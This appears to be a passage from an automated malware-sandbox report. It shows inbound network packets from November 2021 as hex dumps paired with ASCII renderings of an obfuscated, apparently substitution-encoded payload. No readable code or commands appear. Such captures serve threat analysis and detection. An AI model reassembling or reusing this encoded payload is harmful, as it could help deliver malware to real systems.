20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: kO x RY x RY x tY x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tR x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1034	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x Rk x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x
2021-11-09 21:21:49 UTC	1035	IN	Data Raw: 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: O x RY x RY x tR x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1036	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: Y x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x RQ x OxE x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x
2021-11-09 21:21:49 UTC	1038	IN	Data Raw: 59 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: YE x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x Oxt x Rt x OxE x tE x RY x OOO x OxE x RY x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x OxY x RY x OOY x Rt x RY x tK x kQ x Rt x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1039	IN	Data Raw: 74 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 74 20 78 20 52 59 20 78 20 74 52 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: tE x OxE x tE x RY x tR x RY x tE x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x kt x Rt x kO x Rt x RY x tR x tE x RR x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x OxQ x RY x OxE x Rt x kt x RY x RY x
2021-11-09 21:21:49 UTC	1040	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x RY x RY x Rt x OxE x RY x RY x RY x RY x OxE x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1042	IN	Data Raw: 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x KE x RY x kx x Kt x Kt x Kt x OxE x Rk x Kt x Kt x Kt x Yo x RY x Kt x Kt x Kt x YR x RY x to x Kt x Kt x KE x RY x RR x Kt x Kt x Kt x RY x RY x kx x Kt x Kt
2021-11-09 21:21:49 UTC	1043	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-11-09 21:21:49 UTC	1044	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1046	IN	Data Raw: 78 20 59 52 20 78 20 4f 4f 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 78 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 59 78 20 78 20 4f 78 6f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 74 74 20 78 20 6b 45 20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 Data Ascii: x YR x OOt x YK x Kt x YR x OxO x Oox x Kt x YR x OxO x OOQ x Kt x YR x tY x OOo x Kt x YR x tO x OxQ x Kt x YY x Yx x Oxo x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x kE x YK x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x
2021-11-09 21:21:49 UTC	1047	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 6f 6f 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4b 74 20 78 20 52 59 20 78 20 4b 74 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kk x KQ x Yt x Oxo x kt x tx x Qx x Ooo x OxR x tx x Oox x Qx x YR x OOY x OOk x RY x Kt x YR x Kt x RY x Kt
2021-11-09 21:21:49 UTC	1048	IN	Data Raw: 74 59 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 Data Ascii: tY x OxY x kO x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tk x kR x kR x Yt x tk x kR x kR x Yt x tk x kR x kR x Yt
2021-11-09 21:21:49 UTC	1050	IN	Data Raw: 78 20 4f 78 78 20 78 20 6b 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59 20 78 20 74 51 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 Data Ascii: x Oxx x kY x tk x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOk x kY x OOR x tR x OxE x kK x kO x Kk x OOQ x Qt x tQ x OxR x OOo x Rk x QQ x YO x OOK x kk x tk x Ooo x Ooo x OOY x YY x tQ x KE x OOk x OOK x
2021-11-09 21:21:49 UTC	1051	IN	Data Raw: 78 20 74 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 74 4b 20 78 20 6b 52 20 78 20 51 6b 20 78 20 6b 52 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 4b 20 78 20 6b 59 20 78 20 51 6b 20 78 20 51 78 20 78 20 4f 4f 45 20 78 20 4f 78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 45 20 78 20 51 78 20 78 20 4b 74 20 78 20 59 Data Ascii: x tY x OxY x OOO x RY x RY x RY x RY x Oxk x OxQ x kR x QQ x YY x KE x Rk x kx x YY x KE x Rk x kx x RY x tE x RQ x RY x OxQ x OOY x OoO x tK x kR x Qk x kR x kY x tY x tK x kY x Qk x Qx x OOE x Oxk x Rt x YK x OOY x OxO x kO x Kt x YR x OOE x Qx x Kt x Y
2021-11-09 21:21:49 UTC	1052	IN	Data Raw: 52 59 20 78 20 4f 78 6b 20 78 20 6b 74 20 78 20 74 6b 20 78 20 51 51 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 59 78 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 20 78 20 6b 45 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 74 59 20 78 20 4b 74 Data Ascii: RY x Oxk x kt x tk x QQ x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x OOo x to x RR x OxR x Kt x Yt x Yx x YY x Kt x YR x OxQ x kt x Kt x YR x OxO x kK x Kt x YR x Qt x kE x Kt x YR x kt x kO x Kt x YR x kt x tQ x Kt x YR x tY x tY x Kt
2021-11-09 21:21:49 UTC	1054	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1055	IN	Data Raw: 74 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 59 6f 20 78 20 74 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: tY x Rt x OxE x Kt x OOk x OxR x OOQ x OOY x tY x Rt x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x Yo x tt x Rt x OxE x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1059	IN	Data Raw: 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4f 4f 74 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b Data Ascii: Kk x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OOx x tk x OxR x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x OOt x OOO x tK x OOo x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x K
2021-11-09 21:21:49 UTC	1063	IN	Data Raw: 74 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 45 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 59 45 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 4f 51 20 Data Ascii: t x kx x OxR x tO x Oox x tE x OxK x OOO x YK x OOR x Rk x Rt x Kt x Yt x OOE x Yx x OxR x Oxk x YE x Qx x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOK x kk x tk x Ooo x KE x kx x OxR x Yo x OOY x tR x Rt x OOQ
2021-11-09 21:21:49 UTC	1064	IN	Data Raw: 4f 4f 51 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 4f 78 78 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 74 6f 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 59 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 Data Ascii: OOQ x RQ x Rt x OxE x OOQ x RQ x Rk x RR x RY x RQ x Rt x OxE x OOQ x Oxx x OOx x ko x Kk x kO x to x OxK x RY x kY x tY x OxK x OxE x RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt 